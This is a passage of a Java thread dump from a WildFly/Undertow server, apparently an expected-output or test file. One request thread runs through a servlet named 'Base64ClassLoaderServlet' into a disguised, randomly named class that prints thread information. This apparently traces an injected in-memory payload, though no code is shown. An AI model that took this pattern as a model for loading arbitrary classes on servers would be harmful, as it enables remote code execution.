Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 15" #41 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 19" #45 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 37" #63 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 64" #95 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 14" #40 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 39" #65 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"XNIO-1 Accept" #137 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Transaction Expired Entry Monitor" #139 daemon [TIMED_WAITING] on com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor@5b92ad96 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:166) + +"ServerService Thread Pool -- 23" #49 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 26" #52 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 54" #85 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 35" #61 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default task-1" #153 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.9/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.apache.commons.LzKds.ErrorHandler.toString(BasicInfoPrinter.java:26) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.spec.ServletPrintWriter.print(ServletPrintWriter.java:437) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.spec.ServletPrintWriterDelegate.print(ServletPrintWriterDelegate.java:157) + at deployment.app.war//jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at deployment.app.war//jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at org.wildfly.security.elytron-web.undertow-server@4.0.0.Final//org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler.lambda$handleRequest$1(ElytronRunAsHandler.java:68) + at org.wildfly.security.elytron-web.undertow-server@4.0.0.Final//org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler$$Lambda$922/0x000000d0018f6000.call(Unknown Source) + at org.wildfly.security.elytron-base@2.2.2.Final//org.wildfly.security.auth.server.Scoped$$Lambda$923/0x000000d0018e70b0.apply(Unknown Source) + at org.wildfly.security.elytron-base@2.2.2.Final//org.wildfly.security.auth.server.Scoped$$Lambda$924/0x000000d0018e7350.apply(Unknown Source) + at org.wildfly.security.elytron-base@2.2.2.Final//org.wildfly.security.auth.server.FlexibleIdentityAssociation.runAsFunctionEx(FlexibleIdentityAssociation.java:103) + at org.wildfly.security.elytron-base@2.2.2.Final//org.wildfly.security.auth.server.Scoped.runAsFunctionEx(Scoped.java:161) + at org.wildfly.security.elytron-base@2.2.2.Final//org.wildfly.security.auth.server.Scoped.runAs(Scoped.java:73) + at org.wildfly.security.elytron-web.undertow-server@4.0.0.Final//org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler.handleRequest(ElytronRunAsHandler.java:67) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.core@2.3.10.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.core@2.3.10.Final//io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.core@2.3.10.Final//io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at org.wildfly.security.elytron-web.undertow-server-servlet@4.0.0.Final//org.wildfly.elytron.web.undertow.server.servlet.CleanUpHandler.handleRequest(CleanUpHandler.java:38) + at io.undertow.core@2.3.10.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:44) + at io.undertow.core@2.3.10.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:51) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.core@2.3.10.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1413) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$897/0x000000d0018b5170.call(Unknown Source) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1413) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$897/0x000000d0018b5170.call(Unknown Source) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1413) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$897/0x000000d0018b5170.call(Unknown Source) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1413) + at org.wildfly.extension.undertow@30.0.1.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$897/0x000000d0018b5170.call(Unknown Source) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256) + at io.undertow.servlet@2.3.10.Final//io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101) + at io.undertow.core@2.3.10.Final//io.undertow.server.Connectors.executeRootHandler(Connectors.java:393) + at io.undertow.core@2.3.10.Final//io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:859) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.ContextClassLoaderSavingRunnable.run(ContextClassLoaderSavingRunnable.java:35) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor.safeRun(EnhancedQueueExecutor.java:1990) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.doRunTask(EnhancedQueueExecutor.java:1486) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1377) + at org.jboss.xnio@3.8.11.Final//org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 5" #31 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 79" #146 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 3" #29 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 2" #28 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Notification Thread" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 67" #98 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 71" #102 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 72" #103 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-13" #122 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 81" #148 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"DeploymentScanner-threads - 2" #67 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@dd33f9e + java.lang.Thread.State: WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1623) + at java.base@17.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 69" #100 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Reaper" #140 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@29c7e1d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:66) + +"ServerService Thread Pool -- 34" #60 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-15" #124 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Timer-0" #109 [WAITING] on java.util.TaskQueue@4de3e50d + java.lang.Thread.State: WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at java.base@17.0.9/java.lang.Object.wait(Object.java:338) + at java.base@17.0.9/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.9/java.util.TimerThread.run(Timer.java:516) + +"MSC service thread 1-3" #19 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4669a150 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"default I/O-6" #115 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"ServerService Thread Pool -- 8" #34 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 27" #53 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 28" #54 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"management I/O-1" #72 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 44" #75 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-9" #118 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at 